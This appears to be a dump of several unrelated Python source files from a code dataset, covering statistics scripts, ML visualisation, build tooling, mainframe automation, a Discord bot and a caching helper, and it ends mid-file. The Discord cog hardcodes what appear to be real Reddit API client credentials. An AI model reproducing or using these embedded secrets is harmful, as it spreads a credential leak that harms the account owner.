dest\n\n def get_stats(self):\n\n client = MongoClient(get_mongo_uri(db=self.database_name))\n db = getattr(client, self.database_name)\n collection = getattr(db, self.collection_name)\n\n repository_url = 'https://api.github.com/repos/{}'.format(self.repopath)\n pipeline = [\n {'$match': {'url': {'$regex': '^{}/'.format(repository_url)}}},\n {'$match': {'event': 'unlabeled'}},\n {'$match': {'label.name': 'needs_triage'}},\n {'$project': {\n '_id': 0,\n 'login': '$actor.login',\n 'YM': {'$substr': ['$created_at', 0, 7]}\n }\n },\n #{'$limit': 1000},\n {'$group': {\n '_id': {\n 'ym': '$YM',\n 'login': '$login'\n },\n 'count': {'$sum': 1}\n }\n }\n ]\n cursor = collection.aggregate(pipeline)\n results = list(cursor)\n\n rdata = OrderedDict()\n rkeys = sorted(set([x['_id']['ym'] for x in results]))\n if self.periods:\n rkeys = rkeys[(0-self.periods):]\n rlogins = sorted(set([x['_id']['login'] for x in results]))\n for rkey in rkeys:\n rdata[rkey] = {}\n for login in rlogins:\n rdata[rkey][login] = 0\n for result in results:\n thisym = result['_id']['ym']\n if thisym not in rkeys:\n continue\n thislogin = result['_id']['login']\n thiscount = result['count']\n rdata[thisym][thislogin] = thiscount\n\n # pop users who never triage\n counts = {}\n for ym,logins in rdata.items():\n for login,count in logins.items():\n if login not in counts:\n counts[login] = 0\n counts[login] += count\n\n for ym,lcounts in rdata.items():\n for login,count in copy.deepcopy(lcounts).items():\n if counts[login] == 0:\n rdata[ym].pop(login, None)\n\n return rdata\n\n\n\ndef args_to_dict(args):\n kwargs = {}\n methods = dir(args)\n methods = [x for x in methods if not x.startswith('_')]\n for method in methods:\n kwargs[method] = getattr(args, method)\n return kwargs\n\n\ndef main():\n\n set_logger()\n\n parser = argparse.ArgumentParser()\n '''\n parser.add_argument('--repopath', default=None)\n parser.add_argument('--database_name', default=DATABASE_NAME)\n parser.add_argument('--collection_name', default=COLLECTION_NAME)\n parser.add_argument('--groupby', choices=['day', 'week', 'month', 'quarter'], default=GROUP_BY)\n parser.add_argument('--dest', default=None)\n parser.add_argument('--user', action='append')\n parser.add_argument('--query', default=None)\n parser.add_argument('--stats_type', choices=['open_close', 'common_labels'], default='open_close')\n '''\n parser.add_argument('--groupby', choices=['day', 'week', 'month', 'quarter'], default='month')\n parser.add_argument('--periods', type=int, default=None)\n parser.add_argument('--dest', default=None)\n args = parser.parse_args()\n kwargs = args_to_dict(args)\n\n TSM = TriageStatsMaker(**kwargs)\n result = TSM.get_stats()\n\n if args.dest:\n with open(args.dest, 'w') as f:\n f.write(json.dumps(result, indent=2, sort_keys=True))\n else:\n pprint(result)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"gdash/triagestats.py","file_name":"triagestats.py","file_ext":"py","file_size_in_byte":4602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"156325470","text":"import copy\nimport os\nimport os.path as osp\nimport shutil\n\nimport chainer\nfrom chainer import training\nimport numpy as np\nimport skimage.io\n\nimport grasp_fusion_lib\n\n\nclass SigmoidSegmentationVisReport(training.Extension):\n\n def __init__(self, iterator, model, channel_names, shape=(3, 3)):\n self.model = model\n self._iterator = iterator\n self._channel_names = channel_names\n self._shape = shape\n\n def __call__(self, trainer):\n try:\n os.makedirs(osp.join(trainer.out, 'visualizations'))\n except OSError:\n pass\n\n iterator = self._iterator\n\n if hasattr(iterator, 'reset'):\n iterator.reset()\n it = iterator\n else:\n it = copy.copy(iterator)\n\n vizs = []\n n_viz = self._shape[0] * self._shape[1]\n for batch in it:\n imgs, depths, gt_lbls = zip(*batch)\n with chainer.using_config('enable_backprop', False), \\\n chainer.using_config('train', False):\n scores = self.model.predict(imgs, depths)\n pred_lbls = [(score > 0).astype(np.int32) for score in scores]\n\n batch_size = len(batch)\n out_channels = gt_lbls[0].shape[0]\n for i in range(batch_size):\n img_i = imgs[i].transpose(1, 2, 0)\n depth_i = grasp_fusion_lib.image.colorize_depth(\n depths[i],\n min_value=0,\n max_value=self.model.depth_max_value,\n )\n\n viz = []\n for c in range(out_channels):\n channel_name = self._channel_names[c]\n label_names = ['not %s' % channel_name, channel_name]\n gt_viz = grasp_fusion_lib.image.label2rgb(\n gt_lbls[i][c],\n img_i,\n label_names=label_names,\n )\n pred_viz = grasp_fusion_lib.image.label2rgb(\n pred_lbls[i][c],\n img_i,\n label_names=label_names,\n )\n viz_c = np.vstack([gt_viz, pred_viz])\n viz.append(viz_c)\n viz0 = grasp_fusion_lib.image.tile(\n viz, shape=(1, out_channels))\n viz1 = grasp_fusion_lib.image.resize(\n img_i, height=viz0.shape[0])\n viz2 = grasp_fusion_lib.image.resize(\n depth_i, height=viz0.shape[0])\n if self.model.modal == 'rgb':\n viz = np.hstack((viz1, viz0))\n elif self.model.modal == 'depth':\n viz = np.hstack((viz2, viz0))\n else:\n assert self.model.modal == 'rgb+depth'\n viz = np.hstack((viz1, viz2, viz0))\n vizs.append(viz)\n if len(vizs) >= n_viz:\n break\n if len(vizs) >= n_viz:\n break\n\n viz = grasp_fusion_lib.image.tile(\n vizs, shape=self._shape, boundary=True)\n out_file = osp.join(\n trainer.out,\n 'visualizations',\n '%08d.jpg' % trainer.updater.iteration,\n )\n skimage.io.imsave(out_file, viz)\n out_latest_file = osp.join(trainer.out, 'visualizations/latest.jpg')\n shutil.copy(out_file, out_latest_file)\n","sub_path":"demos/grasp_fusion/grasp_fusion_lib/contrib/grasp_fusion/extensions/sigmoid_segmentation_vis_report.py","file_name":"sigmoid_segmentation_vis_report.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"114985777","text":"from SCons.Tool import gcc\nimport SCons.Util\nimport RimUtils\nimport string\n\"\"\"\n\tInclude gcc and overide the bin paths to point to our cross build location\n\"\"\"\n#bins=[ \"CC\", \"LINK\", \"AS\", \"AR\", \"CXX\" ]\nbins=[ \"CC\", \"AS\", \"AR\", \"CXX\" ]\n\ndef replace(s, p1, p2):\n lst=s.split()\n lst2=[]\n for tok in lst:\n if tok==p1:\n lst2.append(p2)\n else:\n lst2.append(tok)\n return string.join(lst2)\n\n\ndef generate(env, toolsPath):\n gcc.generate(env)\n env['LINKCOM']=replace(env['LINKCOM'], '$_LIBFLAGS', '-Wl,--start-group $_LIBFLAGS -Wl,--end-group')\n env['SHLINKCOM']=replace(env['SHLINKCOM'], '$_LIBFLAGS', '-Wl,--start-group $_LIBFLAGS -Wl,--end-group')\n #\n # as we move from older to newer compilers lots of \"warning: deprecated conversion from string constant to char*\"\n # type of warnings. To remove these warnings we use the below compiler swaitch.\n xtraFlags=\"-Wno-write-strings\"\n env.MergeFlags({'CCFLAGS' : xtraFlags.split() })\n for bin in bins:\n env[bin] = \"%s/bin/%s-%s\" % (toolsPath, env.amfi.tools.target, env[bin])\n","sub_path":"scripts/crossTools/Linux/Wrl/i386/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"450813206","text":"import random\nimport cell\nimport state_node\n\n\"\"\"\nnew key-old lock\nnew key-new lock\nold key-new lock\n\"\"\"\n\nclass StateGraph(object):\n def __init__(self, stage, start_node, edges_to_enter, previous_partial_graph=None):\n \"\"\"\n :param stage: int\n :param start_node: Node\n :param previous_partial_graph: StateGraph\n :param edges_to_enter: list[cell.Edge]\n \"\"\"\n self.stage = stage\n self.start_node = start_node # type: StateNode\n self.edges_to_enter = edges_to_enter\n\n self.locked_nodes_available = []\n\n self.discover_new_nodes()\n\n self._locks = [] # type: list[cell.Edge]\n self.new_nodes = [] # type: list[StateNode]\n\n if previous_partial_graph is not None:\n self.old_nodes = list(previous_partial_graph.all_nodes)\n else:\n self.old_nodes = []\n\n self.all_nodes = list(self.old_nodes)\n\n self.old_keys = []\n if previous_partial_graph is not None:\n self.old_keys = previous_partial_graph.keys\n\n # test this in certain cases to make sure length is 1\n self.new_keys = []\n self.unpaired_keys = []\n\n self.unopened_old_locks = [] # type: list[cell.Edge]\n if previous_partial_graph is not None:\n pred = lambda x: False if x in self.old_keys else True\n self.unopened_old_locks = [l for l in previous_partial_graph._locks if pred(l.key)]\n\n self.new_locks = []\n self._get_new_locks()\n self._do_traversal_array()\n\n def _do_traversal_array(self):\n pass\n\n def can_traverse(self, node_a, node_b):\n pass\n\n def get_branches(self):\n ### get all pairs: new key+old lock, new_key+new_lock, old_key+new_lock\n pass\n\n def get_random_lock(self):\n \"\"\"\n will get a random lock from unopened_old_locks and new_locks\n\n :return: cell.Edge\n \"\"\"\n all_locks = self.unopened_old_locks + self.new_locks\n return random.choice(all_locks)\n\n def get_random_locks(self):\n all_locks = self.unopened_old_locks + self.new_locks\n random.shuffle(all_locks)\n amount = random.randint(0, len(all_locks)-1)\n return all_locks[0:amount]\n\n @property\n def keys(self):\n return self.new_keys + self.old_keys\n\n def _get_new_key_old_lock_pairs(self):\n pairs = []\n for e in self.unopened_old_locks:\n for n in self.new_keys:\n e = e # type: cell.Edge\n if e.key is n:\n pairs.append((e, n))\n\n return pairs\n\n def _get_old_key_new_lock_pairs(self):\n pairs = []\n for e in self.new_locks:\n for n in self.old_keys:\n e = e # type: cell.Edge\n if e.key is n:\n pairs.append((e, n))\n\n return pairs\n\n def _get_new_key_new_lock_pairs(self):\n pairs = []\n for e in self.new_locks:\n for n in self.new_keys:\n e = e # type: cell.Edge\n if e.key is n:\n pairs.append((e, n))\n\n def discover_new_nodes(self):\n nodes_visited = []\n nodes_to_visit = []\n cur_node = self.start_node\n\n iters = 0\n while True and iters < 200:\n cur_neighbors = cur_node.get_traversable_neighbors(self.old_keys)\n\n func = lambda x: (x not in nodes_visited) and (x not in self.old_nodes)\n\n nodes_to_visit += [ n for n in cur_neighbors if func(n)]\n\n nodes_visited.append(cur_node)\n self.new_nodes.append(cur_node)\n\n iters += 1\n if len(nodes_to_visit) == 0:\n break\n\n # should be selecting for something that is locked\n # these new nodes weren't accessible prior\n def _get_new_locks(self):\n for n in self.new_nodes:\n self.new_locks += n.get_locked_neighbors([], self.start_edge)\n\n # make possible to add key that is assigned to a later lock\n def add_key(self, key):\n choice = random.choice(self.new_nodes) # type: state_node.StateNode\n choice.key = key\n\n self._get_new_keys()\n\n ### need to recalculate all parent state graphs\n def add_key_back(self, key):\n choice = random.choice(self.old_nodes)\n choice.key = key\n\n # test has new keys\n def _get_new_keys(self):\n self.new_keys = []\n for n in self.new_nodes:\n if n.key is not None:\n self.new_keys.append(n.key)","sub_path":"state_graph.py","file_name":"state_graph.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"11034890","text":"from py3270 import Emulator\nimport time\nimport os\nfrom datetime import datetime, timedelta, date\nimport base64\nimport datetime\nimport json\nfrom optparse import OptionParser\nimport urllib.request\nimport urllib.error\nimport urllib.parse\nfrom exchangelib import DELEGATE, IMPERSONATION, Account, Credentials, ServiceAccount, \\\n EWSDateTime, EWSTimeZone, Configuration, NTLM, CalendarItem, Message, \\\n Mailbox, Attendee, Q, ExtendedProperty, FileAttachment, ItemAttachment, \\\n HTMLBody, Build, Version\n\nem = Emulator()\n\ndef logoff():\n while not em.string_found(6, 9, 'Standard ISPF'):\n em.send_pf3()\n time.sleep(1)\n em.fill_field(2, 14, 'xx', 2)\n em.send_enter()\n time.sleep(5)\n em.terminate()\n\ndef read_file(filename):\n try:\n with open(filename) as f:\n variable = f.readlines()\n except FileNotFoundError:\n variable = []\n return variable\n \ndef dataset(array):\n em.fill_field(2, 14, 'lsd', 3)\n em.send_enter()\n while not em.string_found(4, 2, \"Option\"):\n time.sleep(1)\n em.fill_field(10, 24, 'DATASETFILE', 21)\n em.send_enter()\n while not em.string_found(4, 2, \"Command\"):\n time.sleep(1)\n em.fill_field(8, 2, \"b\", 1)\n em.send_enter()\n while not em.string_found(4, 2, \"Command\"):\n time.sleep(1)\n if em.string_found(5, 1, \"********\"):\n for row in range(6, 43):\n local = em.string_get(row, 1, 33)\n if local[0] == \"'\":\n local = local[1:17] + \" \" + \"{}/{}/{}\".format(local[25:27], local[28:30], local[31:33]) + \"\\n\"\n array.append(local)\n\n\ndef time_before(how_many):\n date_n_days_ago = datetime.datetime.now() - timedelta(days=how_many)\n return date_n_days_ago.strftime(\"%y/%m/%d\")\n\n\ndef weekday(inputas):\n return datetime.date.isoweekday(datetime.datetime.strptime(inputas[17:25], \"%y/%m/%d\"))\n \n \ndef login():\n em.connect('IBM3270:0000')\n em.fill_field(5, 7, 'lesser', 6)\n em.send_enter()\n while not em.string_found(15, 17, \"Userid\"):\n time.sleep(1)\n em.fill_field(15, 31, os.getenv('racf-user'), 6)\n em.fill_field(16, 31, os.getenv('racf-password'), 8)\n em.send_enter()\n while not em.string_found(42, 2, \"Command\"):\n time.sleep(1)\n\n\ndef login_to_tso():\n em.fill_field(42, 15, 's lesser', 9)\n em.send_enter()\n while not em.string_found(2, 2, \"Command\"):\n time.sleep(1)\n \n \ndef tso_to_cics():\n while em.string_found(6, 9, 'Standard ISPF') is False:\n em.send_pf3()\n em.wait_for_field()\n em.fill_field(2, 14, 'xx', 2)\n em.send_enter()\n while not em.string_found(42, 2, \"Command\"):\n time.sleep(1)\n em.fill_field(42, 15, \"S WHAT\", 6)\n em.send_enter()\n while not em.string_found(3, 2, \"Select\"):\n time.sleep(1)\n em.fill_field(23, 11, \"KEKORT\", 6)\n em.send_enter()\n while not em.string_found(3, 2, \"Select\"):\n time.sleep(1)\n em.fill_field(23, 11, \"2\", 1)\n em.send_enter()\n while not em.string_found(3, 2, \"Choose\"):\n time.sleep(1)\n em.fill_field(8, 27, \"V\", 1)\n\n \ndef collect_data(array_for_reorder):\n local_info = []\n for row in range(4, 7):\n try:\n local_info.append(em.string_get(row, 2, 72) + \"\\n\")\n except:\n local_info.append(em.string_get(row, 2, 34) + \"\\n\")\n array_for_reorder.append(\"\".join(local_info))\n \n \ndef perform_cleanup(list_to_check, filename):\n new_file = []\n for date in list_to_check:\n if date[17:25] >= time_before(14):\n new_file.append(date)\n with open(filename, \"w\") as f:\n for card in new_file:\n f.write(card)\n \ndef quit_cics():\n while not em.string_found(10, 5, 'Session ID'):\n em.send_pf3()\n time.sleep(1)\n em.terminate()\n\ndef define_options(descript):\n parser = OptionParser()\n # How to connect/login to the ServiceNow instance\n parser.add_option(\"--endPoint\", dest=\"endPoint\", help=\"The endpoint of the web service\",\n default=\"https://servicenow.com\")\n parser.add_option(\"--user\", dest=\"user\", help=\"The user name credential\", default=\"username\")\n parser.add_option(\"--password\", dest=\"password\", help=\"The user password credential\",\n default=\"password\")\n\n # Fields on the Event\n parser.add_option(\"--source\", dest=\"source\", help=\"Source of the event\", default=\"\")\n parser.add_option(\"--eventClass\", dest=\"eventClass\", help=\"Event class\", default=\"\")\n parser.add_option(\"--messageKey\", dest=\"messageKey\", help=\"Message key\", default=\"\")\n parser.add_option(\"--node\", dest=\"node\", help=\"Name of the node\", default=\"\")\n parser.add_option(\"--type\", dest=\"type\", help=\"Type of event\", default=\"\")\n parser.add_option(\"--resource\", dest=\"resource\", help=\"Represents the resource event is associated with\",\n default=\"\")\n parser.add_option(\"--severity\", dest=\"severity\", help=\"Severity of event\", default=\"2\")\n parser.add_option(\"--timeOfEvent\", dest=\"timeOfEvent\", help=\"Time of event in GMT format\", default=\"\")\n parser.add_option(\"--description\", dest=\"description\", help=\"Event description\",\n default=\"Failed to send an automated request:\\n\\n {}\".format(descript))\n parser.add_option(\"--additionalInfo\", dest=\"additionalInfo\",\n help=\"\", default=\"{}\")\n parser.add_option(\"--ciIdentifier\", dest=\"ciIdentifier\",\n help=\"Optional JSON string that represents a configuration item\", default=\"{}\")\n\n (options, args) = parser.parse_args()\n return options\n\n\ndef execute(options):\n if options.timeOfEvent == \"\":\n options.timeOfEvent = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')\n\n if options.eventClass == \"\":\n options.eventClass = options.source\n\n if options.messageKey == \"\":\n options.messageKey = options.source + \"__\" + options.node + \"__\" + options.type + \"__\" + options.resource\n\n data = {\"source\": options.source, \"node\": options.node, \"type\": options.type,\n \"resource\": options.resource, \"severity\": options.severity,\n \"time_of_event\": options.timeOfEvent, \"description\": options.description,\n \"additional_info\": options.additionalInfo, \"ci_identifier\": options.ciIdentifier,\n \"event_class\": options.eventClass, \"message_key\": options.messageKey}\n data = bytes(json.dumps(data), encoding=\"utf-8\")\n\n headers = {'Content-type': 'application/json', 'Accept': 'application/json'}\n request = urllib.request.Request(url=options.endPoint, data=data, headers=headers)\n base64string = base64.urlsafe_b64encode(('%s:%s' % (options.user, options.password)).encode()).decode()\n request.add_header(\"Authorization\", \"Basic %s\" % base64string)\n d = urllib.request.urlopen(request)\n d.read()\n d.close()\n \n \ndef signature():\n text = \"-----\\nRegards,\\nSignature\"\n return text\n\n\ndef send_mail(cards):\n c = Credentials(username=os.getenv(\"ad-user\"), password=os.getenv(\"ad-password\"))\n acc = Account(primary_smtp_address = \"generic@email.com\", credentials = c, autodiscover = True, access_type = DELEGATE)\n m = Message(\n account = acc,\n subject = \"some info {}\".format(time.strftime(\"%Y%m%d\")),\n body = \"Hi,\\nPlease do this:\\n\\n{}\\n\\n{}\".format(cards, signature()),\n to_recipients = [Mailbox(email_address = 'generic@email.com')],\n cc_recipients = ['generic@email.com']\n )\n m.send_and_save()","sub_path":"ibm3270-jobs/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":7497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"454782036","text":"import pandas as pd\nfrom NEMPRO import historical_inputs, planner\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\nraw_data_cache = 'C:/Users/nick/Documents/nem_data'\n\n# Build data set for calibrating the dispatch planner's price forecasting model.\nstart_time_historical_data = '2020/01/01 00:00:00'\nend_time_historical_data = '2021/01/01 00:00:00'\n\nprice_data = historical_inputs.get_regional_prices(start_time_historical_data,\n end_time_historical_data,\n raw_data_cache)\nprice_data = price_data.loc[:, ['SETTLEMENTDATE', 'nsw-energy']]\n\ndemand_data = historical_inputs.get_regional_demand(start_time_historical_data,\n end_time_historical_data,\n raw_data_cache)\n\ntech_availability = historical_inputs.get_tech_operating_capacities(start_time_historical_data,\n end_time_historical_data,\n raw_data_cache)\n\nhistorical_data = pd.merge(price_data, demand_data, on='SETTLEMENTDATE')\nhistorical_data = pd.merge(historical_data, tech_availability, on='SETTLEMENTDATE')\nhistorical_data = historical_data.reset_index(drop=True)\nhistorical_data['interval'] = historical_data.index\nhistorical_data = historical_data.drop(columns=['SETTLEMENTDATE'])\nhistorical_data['nsw-energy-fleet-dispatch'] = 0.0\n\n\n# Build data set for running the dispatch planner's price forecasting model.\nstart_time_forward_data = '2021/01/15 18:00:00'\nend_time_forward_data = '2021/01/15 18:05:00'\n\ndemand_data = historical_inputs.get_regional_demand(start_time_forward_data,\n end_time_forward_data,\n raw_data_cache)\n\ntech_availability = historical_inputs.get_tech_operating_capacities(start_time_forward_data,\n end_time_forward_data,\n raw_data_cache)\n\nforward_data = pd.merge(demand_data, tech_availability, on='SETTLEMENTDATE')\nforward_data = forward_data.reset_index(drop=True)\nforward_data['interval'] = forward_data.index\nforward_data = forward_data.drop(columns=['SETTLEMENTDATE'])\nforward_data['nsw-energy-fleet-dispatch'] = 0.0\n\ndemand_delta = pd.DataFrame({\n 'interval': [0, 0, 0, 0, 0, 0, 0],\n 'delta': [0, 1000, 2000, 3000, 4000, 5000, 6000]\n})\n\nforward_data = pd.merge(forward_data, demand_delta, on='interval')\n\nforward_data = forward_data.reset_index(drop=True)\nforward_data['interval'] = forward_data.index\n\nforward_data['nsw-demand'] = forward_data['nsw-demand'] - forward_data['delta']\n\nf = planner.Forecaster()\nf.train(historical_data, train_sample_fraction=0.10, target_col='nsw-energy')\nforecast = f.base_forecast(forward_data.drop(columns='delta'))\n\nforward_data = pd.merge(forward_data, forecast, on='interval')\nforward_data = forward_data.loc[:, ['delta', 'nsw-energy']]\nforward_data['revenue'] = forward_data['delta'] * forward_data['nsw-energy']\nforward_data.to_csv('test_negative_revenue_threshold.csv')\nprint(forward_data)\n\n\n#\n# price_data = historical_inputs.get_regional_prices(start_time_forward_data,\n# end_time_forward_data,\n# raw_data_cache)\n# price_data = price_data.reset_index(drop=True)\n# price_data['interval'] = price_data.index\n#\n# fig = make_subplots(specs=[[{\"secondary_y\": True}]])\n# fig.add_trace(go.Scatter(x=forecast['interval'], y=forecast[0], name='forecast'))\n# fig.add_trace(go.Scatter(x=price_data['interval'], y=price_data['nsw-energy'], name='hist'))\n# fig.show()\n","sub_path":"examples/negative_revenue_threshold.py","file_name":"negative_revenue_threshold.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"310830352","text":"import discord\nfrom discord.ext import commands\nimport praw\nimport random\n\nreddit = praw.Reddit(client_id=\"QV8NApaymSNp_g\",\n client_secret=\"UXNl8UELHW-vQY-f65mBLopkjjU\",\n user_agent=\"riphonecopypasta\")\n\nclass Fun(commands.Cog):\n \n def __init__(self, bot):\n self.bot = bot\n \n @commands.command(description=\"As the name implies\")\n async def copypasta(self, ctx):\n if ctx.message.channel.id != 722271962746978415:\n return\n sub = reddit.subreddit('copypasta')\n posts = [post for post in sub.hot(limit=20)]\n post_number = random.randint(0, 20)\n post = posts[post_number]\n await ctx.send(post.selftext)\n\ndef setup(bot):\n bot.add_cog(Fun(bot))","sub_path":"cogs/fun.py","file_name":"fun.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"479005289","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTencentBlueKing is pleased to support the open source community by making 蓝鲸智云-用户管理(Bk-User) available.\nCopyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved.\nLicensed under the MIT License (the \"License\"); you may not use this file except in compliance with the License.\nYou may obtain a copy of the License at http://opensource.org/licenses/MIT\nUnless required by applicable law or agreed to in writing, software distributed under the License is distributed on\nan \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\"\"\"\nimport logging\nimport math\nfrom collections import OrderedDict\nfrom typing import Callable, Optional\n\nfrom bkuser_shell.common.core_client import get_api_client\nfrom bkuser_shell.common.response import Response\nfrom django.conf import settings\nfrom django.utils.translation import get_language\nfrom rest_framework.pagination import PageNumberPagination\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.viewsets import GenericViewSet\n\nfrom bkuser_global.utils import force_str_2_bool\n\nlogger = logging.getLogger(__name__)\n\n\nclass StandardResultsSetPagination(PageNumberPagination):\n page_size = 50\n page_size_query_param = \"page_size\"\n max_page_size = 500\n\n def paginate_queryset(self, queryset, request, view=None):\n if force_str_2_bool(request.query_params.get(\"no_page\", False)):\n return None\n\n return super(StandardResultsSetPagination, self).paginate_queryset(queryset, request, view)\n\n def get_paginated_response(self, data):\n return Response(\n OrderedDict(\n [\n (\"count\", self.page.paginator.count),\n (\"next\", self.get_next_link()),\n (\"previous\", self.get_previous_link()),\n (\"results\", data),\n ]\n )\n )\n\n\nclass BkUserApiViewSet(GenericViewSet):\n ACTION_ID = None\n\n permission_classes = [\n IsAuthenticated,\n ]\n\n @staticmethod\n def get_client_ip(request) -> Optional[str]:\n x_forwarded_for = request.META.get(\"HTTP_X_FORWARDED_FOR\")\n if x_forwarded_for:\n logger.debug(\"HTTP_X_FORWARDED_FOR exist, fetching from it\")\n ip = x_forwarded_for.split(\",\")[0]\n else:\n for h in [\"REMOTE_ADDR\", \"X-Real-IP\"]:\n ip = request.META.get(h)\n if ip:\n logger.debug(\"fetching client ip from %s\", h)\n break\n\n return ip\n\n def get_api_client_by_request(self, request, force_action_id: str = \"\", no_auth: bool = False):\n \"\"\"从 request 中获取 api client\"\"\"\n headers = make_default_headers(request.user.username)\n # pass to backend\n headers.update({\"Accept-Language\": get_language()})\n ip = self.get_client_ip(request)\n if ip:\n headers.update({settings.CLIENT_IP_FROM_SAAS_HEADER: ip})\n\n action_id = force_action_id or self.ACTION_ID\n if not no_auth and action_id and not settings.DISABLE_IAM:\n # 需要走 iam 主动标记\n headers.update(\n {\n settings.API_NEED_IAM_HEADER_NAME: True,\n settings.API_IAM_ACTION_ID_HEADER_NAME: action_id,\n settings.API_FORCE_NO_CACHE_HEADER_NAME: True,\n }\n )\n\n logger.debug(\"headers to core: %s\", headers)\n return get_api_client(headers)\n\n @staticmethod\n def get_paging_results(list_func: Callable, page_size: int = 50, **kwargs) -> list:\n \"\"\"按照 id 排序分页拉取\"\"\"\n\n # 后端 API 服务中 id 都是自增的,所以按照 id 排序,新增内容只会往列表最后插入\n first_results = list_func(page_size=page_size, ordering=\"id\", **kwargs)\n count = first_results[\"count\"]\n paging_results: list = first_results[\"results\"]\n\n if count <= page_size:\n return paging_results\n\n # 剩余的迭代拉取次数(减去第一次)\n post_times = int(math.ceil(count / page_size)) - 1\n modified_during_list = False\n for i in range(post_times):\n # 从第二页开始拉取\n r = list_func(page_size=page_size, ordering=\"id\", page=i + 2, **kwargs)\n paging_results.extend(r[\"results\"])\n\n if r[\"count\"] != count:\n modified_during_list = True\n\n if modified_during_list:\n # 当前使用的 count/page 的分页方式并不能保证后端在循环分页请求期间数据有更新\n # 由于通过 SaaS 重新刷新的操作是廉价的,所以我们并不针对这样小概率的场景做额外的操作\n logger.warning(\"data changed during listing %s\", list_func)\n\n return paging_results\n\n\ndef make_default_headers(operator: str) -> dict:\n return {\n settings.API_OPERATOR_HEADER_NAME: operator,\n settings.API_FORCE_RAW_RESP_HEADER_NAME: True,\n settings.API_FORCE_RAW_USERNAME_HEADER_NAME: True,\n # SaaS 和 API 之间交互,走私有 token\n settings.API_AUTH_TOKEN_PAIR[0]: settings.API_AUTH_TOKEN_PAIR[1],\n }\n","sub_path":"src/saas/bkuser_shell/common/viewset.py","file_name":"viewset.py","file_ext":"py","file_size_in_byte":5349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"229562073","text":"import matplotlib.pylab as plt\nimport numpy as np\n\n# figure / subplot\n# 한 화면에 여러 개의 그래프를 그리려면 figure 함수를 통해\n# Figure 객체를 먼저 만든 후 add_subplot 메서드를 통해\n# 그리려는 그래프 개수만큼 subplot을 만들면 됨.\n\nplt.figure(figsize=(10, 6)) # 각 그래프의 사이즈(가로,세로)\n\nt = np.arange(0, 5, 0.1) # 0부터 4까지 0.1씩 증가하는 값 생성\n\n\n# 그래프 생성. 각각 독립적이므로 겹치지않도록\nplt.subplot(411) # 4X1 칸에 1번째 위치에 그래프 그린다.\n# 데이터 셋팅\nplt.plot(t, np.sqrt(t)) # x값, y값\n# 위치에 셋팅\nplt.grid()\n\n\nplt.subplot(423) # 4X2 칸에 3번째 위치에 그래프 그린다.\n# 데이터 셋팅\nplt.plot(t, t**2)\n# 위치에 셋팅\nplt.grid()\n\n\nplt.subplot(424) # 4X2 칸에 4번째 위치에 그래프 그린다.\n# 데이터 셋팅\nplt.plot(t, t**3)\n# 위치에 셋팅\nplt.grid()\n\n\nplt.subplot(413) # 4X1 칸에 3번째 위치에 그래프 그린다.\n# 데이터 셋팅\nplt.plot(t, np.sin(t)) # 싸인곡선\n# 위치에 셋팅\nplt.grid()\n\n\nplt.subplot(414) # 4X1 칸에 4번째 위치에 그래프 그린다.\n# 데이터 셋팅\nplt.plot(t, np.cos(t)) # 코사인 곡선\n# 위치에 셋팅\nplt.grid()\n\n\nplt.show()\n","sub_path":"python_study/ch14visualization/ch14_04_figure.py","file_name":"ch14_04_figure.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"95366701","text":"\ntry:\n import ujson as json\nexcept:\n import json\nimport rediscluster\nimport functools\nfrom searcher.core import (config, constants)\nimport types\nimport flask\n\n\nseacher_cache = rediscluster.StrictRedisCluster(\n startup_nodes=config.REDIS_CLUSTER_PARAMS)\n\n\ndef set_cache(KEY, VALUE):\n seacher_cache.set(str(KEY), VALUE)\n\n\ndef get_cache(KEY):\n value = seacher_cache.get(str(KEY))\n return value\n\n\ndef set_h_cache(FILED, KEY, VALUE):\n seacher_cache.hset(FILED, str(KEY), VALUE)\n\n\ndef get_h_cache(field, KEY):\n value = seacher_cache.hget(field, str(KEY))\n return value\n\ndef get_hm_cache(field, KEY):\n value = seacher_cache.hmget(field, KEY)\n return value\n\n\ndef cache_associate(func):\n @functools.wraps(func)\n def wrapper(keyword, page, pagelen, field=constants.REDIS_ASSOCIATION):\n key = str(keyword) + '_' + str(pagelen)\n res = get_h_cache(field, key)\n if not res:\n code, association_list, count = func(keyword, page, pagelen)\n if association_list:\n res = {\"list\":association_list, \"count\":count}\n set_h_cache(field, key, json.dumps(res))\n else:\n res = {\"list\":[], \"count\":0}\n set_h_cache(field, key, json.dumps(res))\n else:\n res = json.loads(res)\n if not isinstance(res, types.DictType):\n return constants.CODE_DATA_ERROR, [], 0\n\n return constants.CODE_OK, res.get('list'), res.get('count')\n\n return wrapper\n\n","sub_path":"searcher/models/redis_model.py","file_name":"redis_model.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"174349100","text":"import MapReduce\nimport sys\n\nmr = MapReduce.MapReduce()\nl = 5\nn = 5\n\ndef 